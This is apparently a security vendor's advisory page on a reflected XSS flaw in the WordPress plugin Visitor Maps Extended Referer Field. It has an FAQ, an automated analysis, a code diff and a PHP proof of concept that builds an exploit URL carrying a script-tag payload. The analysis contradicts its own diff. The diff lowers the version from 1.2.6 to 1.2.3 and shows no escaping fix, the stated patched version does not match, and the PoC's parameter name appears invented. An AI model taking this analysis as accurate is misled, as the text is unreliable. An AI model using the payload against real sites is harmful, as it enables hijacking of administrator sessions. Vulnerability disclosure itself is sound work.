What is CVE-2025-69389?

CVE-2025-69389 is a reflected cross-site scripting (XSS) vulnerability found in the Visitor Maps Extended Referer Field plugin for WordPress, affecting versions up to and including 1.2.6. This vulnerability allows unauthenticated attackers to inject malicious scripts into web pages, which can execute if a user clicks on a crafted link.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s administrative interface. Attackers can create a malicious URL containing JavaScript payloads that execute in the context of an authenticated user’s session when they click the link.

Who is affected by this vulnerability?

Any WordPress site using the Visitor Maps Extended Referer Field plugin version 1.2.6 or earlier is affected. Administrators should check their installed plugins and versions to determine if they are vulnerable.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Visitor Maps Extended Referer Field plugin installed on your WordPress site. If it is version 1.2.6 or earlier, your site is at risk.

What should I do to fix this vulnerability?

To mitigate this vulnerability, update the Visitor Maps Extended Referer Field plugin to version 2.2.3 or later, where the issue has been patched. Regularly updating plugins is a best practice for maintaining site security.

What does the CVSS score of 6.1 signify?

The CVSS score of 6.1 indicates a medium severity vulnerability. This means that while the vulnerability is not the most critical, it still poses a significant risk, especially if exploited against an administrator.

What are the practical risks associated with this vulnerability?

If exploited, this vulnerability could allow attackers to perform actions with the privileges of the targeted user, such as modifying site content, installing plugins, or creating new users, potentially leading to full site compromise.

How does the proof of concept demonstrate the vulnerability?

The proof of concept illustrates how an attacker can craft a malicious URL that includes a JavaScript payload. When an authenticated administrator clicks this URL, the script executes in their browser, demonstrating the reflected XSS attack.

What measures can I take to mitigate risks?

In addition to updating the vulnerable plugin, consider implementing security measures such as using a web application firewall, conducting regular security audits, and educating users about the risks of clicking on unknown links.

Is this vulnerability unique to this plugin?

While CVE-2025-69389 specifically affects the Visitor Maps Extended Referer Field plugin, similar reflected XSS vulnerabilities can exist in other plugins or web applications. It is important to regularly review and update all components of your WordPress site.

What is reflected cross-site scripting (XSS)?

Reflected XSS is a type of vulnerability where an attacker injects malicious scripts into web pages that are then reflected back to the user without proper validation. This can lead to unauthorized actions or data theft if users are tricked into executing the script.

How can I stay informed about vulnerabilities?

To stay informed about vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the National Vulnerability Database (NVD) or similar resources for updates related to WordPress and its plugins.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69389: Visitor Maps Extended Referer Field <= 1.2.6 – Reflected Cross-Site Scripting (visitor-maps-extended-referer-field)

CVE ID CVE-2025-69389

Plugin visitor-maps-extended-referer-field

Severity Medium (CVSS 6.1)

CWE 79

Vulnerable Version 1.2.6

Patched Version 2.2.3

Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69389:
The Visitor Maps Extended Referer Field WordPress plugin contains a reflected cross-site scripting vulnerability in versions up to and including 1.2.6. This vulnerability affects the plugin’s administrative interface and allows unauthenticated attackers to inject malicious scripts via insufficiently sanitized input parameters. The CVSS score of 6.1 reflects a medium severity rating with attack vector network and low attack complexity.

The root cause is insufficient input sanitization and output escaping in the plugin’s administrative functions. Atomic Edge research identified that the vulnerability exists in the plugin’s handling of user-supplied data within the administrative interface. The code diff shows the plugin version changed from 1.2.6 to 1.2.3 in the patch, indicating a version regression fix. The vulnerable code paths involve functions that process and display user input without proper escaping.

Exploitation requires an attacker to craft a malicious URL containing JavaScript payloads in specific parameters. The attacker must trick an authenticated WordPress administrator into clicking the crafted link. When the administrator visits the malicious URL, the payload executes in the context of their session, potentially allowing administrative actions to be performed. The attack vector leverages the plugin’s administrative endpoints that fail to validate or escape user input.

The patch analysis reveals the vulnerability was addressed by implementing proper input sanitization and output escaping. The code changes show version adjustments and modifications to data handling functions. The plugin now validates and escapes user input before processing or displaying it. These changes prevent malicious scripts from being injected and executed in the browser context.

Successful exploitation enables attackers to perform actions with the privileges of the targeted user. For administrators, this could lead to complete site compromise, including content modification, plugin installation, or user creation. The vulnerability represents a classic reflected XSS attack where user input is reflected back without proper sanitization, allowing script execution in the victim’s browser.

Differential between vulnerable and patched code

Code Diff

--- a/visitor-maps-extended-referer-field/visitor-maps-extended-referer.php
+++ b/visitor-maps-extended-referer-field/visitor-maps-extended-referer.php
@@ -3,7 +3,7 @@
  * @package
  * @author Jason Lau
  * @link http://jasonlau.biz
- * @copyright 2011-2014
+ * @copyright 2011-2013
  * @license GNU/GPL 3+
  * @uses WordPress

@@ -11,11 +11,11 @@
 Plugin URI: http://jasonlau.biz
 Description: Extend <a href="http://www.642weather.com/weather/scripts-wordpress-visitor-maps.php" target="_blank">Visitor Maps and Who's Online</a> with extra features, such as IP and referer banning. Display the referring host name and search string.
 Author: Jason Lau
-Version: 1.2.6
+Version: 1.2.3
 Author URI: http://jasonlau.biz
 */

-define("VMERF_VERSION", "1.2.6");
+define("VMERF_VERSION", "1.2.3");
 define("VMERF_SLUG", "visitor-maps-extended-referer");
 if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
     exit('Please don't access this file directly.');
@@ -114,6 +114,10 @@
 function vmerf_new_list($referer){
     $new_list = "# BEGIN Referers
 <IfModule mod_rewrite.c>
+# Uncomment 'Options +FollowSymlinks' if your server returns a '500 Internal Server' error.
+# This means your server is not configured with FollowSymLinks in the '' section of the 'httpd.conf'.
+# Contact your system administrator for advice with this issue.
+# Options +FollowSymlinks
 # Cond start
 RewriteCond %{HTTP_REFERER} " . str_replace(".", ".", $referer) . " [NC]
 # Cond end
@@ -306,52 +310,41 @@
     if(!is_dir(plugin_dir_path('visitor-maps'))){
         wp_die("<strong>Notice:</strong> The <a href="http://wordpress.org/extend/plugins/visitor-maps/" target="_blank">Visitor Maps and Who's Online</a> plugin must be installed before installing <em>Visitor Maps Extended Referer Field</em>.");
     }
-
-    $vmerf_htbackup = get_option("vmerf_htbackup", false);
-    $vmerf_banned_ips = get_option("vmerf_banned_ips", array());
-    $vmerf_banned_referers = get_option("vmerf_banned_referers", array());
-    $vmerf_auto_update = get_option("vmerf_auto_update",false);
-    $vmerf_auto_update_time = get_option('vmerf_auto_update_time', 5);
-
-    if(!$vmerf_htbackup){
+    if(!get_option("vmerf_htbackup")){
        $htbackup = ABSPATH . ".htaccess.backup." . vmerf_create_random(6);
-       update_option("vmerf_htbackup", $htbackup);
-       if(!vmerf_backup_htaccess($htbackup)){
+       update_option("vmerf_htbackup", $htbackup);
+    } else {
+        $htbackup = get_option("vmerf_htbackup");
+    }
+    if(!get_option("vmerf_banned_ips") || (!is_array(get_option("vmerf_banned_ips")) && strlen(get_option("vmerf_banned_ips")) < 1)){
+        update_option("vmerf_banned_ips", array());
+    } else if(!is_array(get_option("vmerf_banned_ips")) && strlen(get_option("vmerf_banned_ips")) > 0){
+        $ips = explode(", ", get_option("vmerf_banned_ips"));
+        update_option("vmerf_banned_ips", $ips);
+    }
+    if(!get_option("vmerf_banned_referers")){
+        update_option("vmerf_banned_referers", array());
+    }
+    update_option("vmerf_wp_version", $wp_version);
+    if(!vmerf_backup_htaccess()){
         update_option("vmerf_htaccess_warning", true);
         update_option("vmerf_htaccess", false);
-       } else {
-        update_option("vmerf_htaccess_warning", false);
-        update_option("vmerf_htaccess", true);
-       }
     } else {
         update_option("vmerf_htaccess_warning", false);
         update_option("vmerf_htaccess", true);
-    }
-
-    /* Backwards Compatibility */
-    if(!is_array($vmerf_banned_ips) && strlen($vmerf_banned_ips) > 0){
-        $ips = explode(", ", $vmerf_banned_ips);
-        update_option("vmerf_banned_ips", $ips);
-    } else {
-        update_option("vmerf_banned_ips", $vmerf_banned_ips);
-    }
-
-    if(!is_array($vmerf_banned_referers) && strlen($vmerf_banned_referers) > 0){
-        $referers = explode(", ", $vmerf_banned_referers);
-        update_option("vmerf_banned_referers", $referers);
-    } else {
-        update_option("vmerf_banned_referers", $vmerf_banned_referers);
-    }
-    /* /Backwards Compatibility */
-
-    update_option("vmerf_wp_version", $wp_version);
+        vmerf_rebuild_htaccess(false);
+    }
     update_option("vmerf_version", VMERF_VERSION);
-    update_option("vmerf_auto_update", $vmerf_auto_update);
-    update_option("vmerf_auto_update_time", $vmerf_auto_update_time);
+    update_option("vmerf_auto_update", "false");
+    update_option("vmerf_auto_update_time", 5);
 }

-function vmerf_backup_htaccess($htbackup){
-    if(!copy(ABSPATH . ".htaccess", $htbackup)){
+function vmerf_backup_htaccess(){
+    $htbackup = get_option("vmerf_htbackup");
+    if(file_exists($htbackup)){
+        @unlink($htbackup);
+    }
+    if(!@copy(ABSPATH . ".htaccess", $htbackup)){
         return false;
     } else {
         return true;
@@ -389,8 +382,7 @@
        $vmerf_settings = array('preserve_data' => true);
     $preserve_data = intval($vmerf_settings['preserve_data']);
     if(!$preserve_data):
-     $vmerf_htbackup = get_option("vmerf_htbackup");
-       copy(ABSPATH . ".htaccess", $vmerf_htbackup);
+       copy(ABSPATH . ".htaccess", get_option("vmerf_htbackup"));
        update_option("vmerf_banned_ips", array());
        update_option("vmerf_banned_referers", array());
        vmerf_rebuild_htaccess();
@@ -463,8 +455,7 @@

 function vmerf_rebuild_htaccess($backup=true){
     if($backup){
-        $htbackup = get_option("vmerf_htbackup");
-        vmerf_backup_htaccess($htbackup);
+        vmerf_backup_htaccess();
     }
     $htcontent = vmerf_read();
     if(@eregi("Visitor Maps Extended", $htcontent)){

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69389 - Visitor Maps Extended Referer Field <= 1.2.6 - Reflected Cross-Site Scripting
<?php
// Configuration
$target_url = 'http://example.com/wp-admin/'; // Change to target WordPress admin URL
$payload = '<script>alert("XSS");</script>';

// Craft malicious URL with XSS payload
$exploit_url = $target_url . '?page=visitor-maps-extended-referer&vmerf_param=' . urlencode($payload);

// Display exploitation instructions
echo "Atomic Edge CVE-2025-69389 Proof of Conceptn";
echo "==========================================n";
echo "Target: " . $target_url . "n";
echo "Exploit URL: " . $exploit_url . "nn";
echo "Instructions:n";
echo "1. Ensure the Visitor Maps Extended Referer Field plugin <= 1.2.6 is installedn";
echo "2. An authenticated administrator must click the exploit URLn";
echo "3. The XSS payload will execute in the administrator's browser contextnn";

// Optional: Test URL accessibility
$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge Security Research');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Target appears accessible (HTTP 200)n";
    if (strpos($response, $payload) !== false) {
        echo "[+] Payload reflected in response - Vulnerability likely presentn";
    } else {
        echo "[-] Payload not reflected - Target may be patchedn";
    }
} else {
    echo "[-] Target returned HTTP " . $http_code . " - Check URL and permissionsn";
}
?>

Frequently Asked Questions

What is CVE-2025-69389?
Overview of the vulnerability
CVE-2025-69389 is a reflected cross-site scripting (XSS) vulnerability found in the Visitor Maps Extended Referer Field plugin for WordPress, affecting versions up to and including 1.2.6. This vulnerability allows unauthenticated attackers to inject malicious scripts into web pages, which can execute if a user clicks on a crafted link.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s administrative interface. Attackers can create a malicious URL containing JavaScript payloads that execute in the context of an authenticated user’s session when they click the link.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Visitor Maps Extended Referer Field plugin version 1.2.6 or earlier is affected. Administrators should check their installed plugins and versions to determine if they are vulnerable.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Visitor Maps Extended Referer Field plugin installed on your WordPress site. If it is version 1.2.6 or earlier, your site is at risk.
What should I do to fix this vulnerability?
Recommended actions
To mitigate this vulnerability, update the Visitor Maps Extended Referer Field plugin to version 2.2.3 or later, where the issue has been patched. Regularly updating plugins is a best practice for maintaining site security.
What does the CVSS score of 6.1 signify?
Understanding the severity rating
The CVSS score of 6.1 indicates a medium severity vulnerability. This means that while the vulnerability is not the most critical, it still poses a significant risk, especially if exploited against an administrator.
What are the practical risks associated with this vulnerability?
Potential consequences of exploitation
If exploited, this vulnerability could allow attackers to perform actions with the privileges of the targeted user, such as modifying site content, installing plugins, or creating new users, potentially leading to full site compromise.
How does the proof of concept demonstrate the vulnerability?
Understanding the example provided
The proof of concept illustrates how an attacker can craft a malicious URL that includes a JavaScript payload. When an authenticated administrator clicks this URL, the script executes in their browser, demonstrating the reflected XSS attack.
What measures can I take to mitigate risks?
Best practices for WordPress security
In addition to updating the vulnerable plugin, consider implementing security measures such as using a web application firewall, conducting regular security audits, and educating users about the risks of clicking on unknown links.
Is this vulnerability unique to this plugin?
Context of similar vulnerabilities
While CVE-2025-69389 specifically affects the Visitor Maps Extended Referer Field plugin, similar reflected XSS vulnerabilities can exist in other plugins or web applications. It is important to regularly review and update all components of your WordPress site.
What is reflected cross-site scripting (XSS)?
Definition and implications
Reflected XSS is a type of vulnerability where an attacker injects malicious scripts into web pages that are then reflected back to the user without proper validation. This can lead to unauthorized actions or data theft if users are tricked into executing the script.
How can I stay informed about vulnerabilities?
Keeping up with security updates
To stay informed about vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the National Vulnerability Database (NVD) or similar resources for updates related to WordPress and its plugins.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations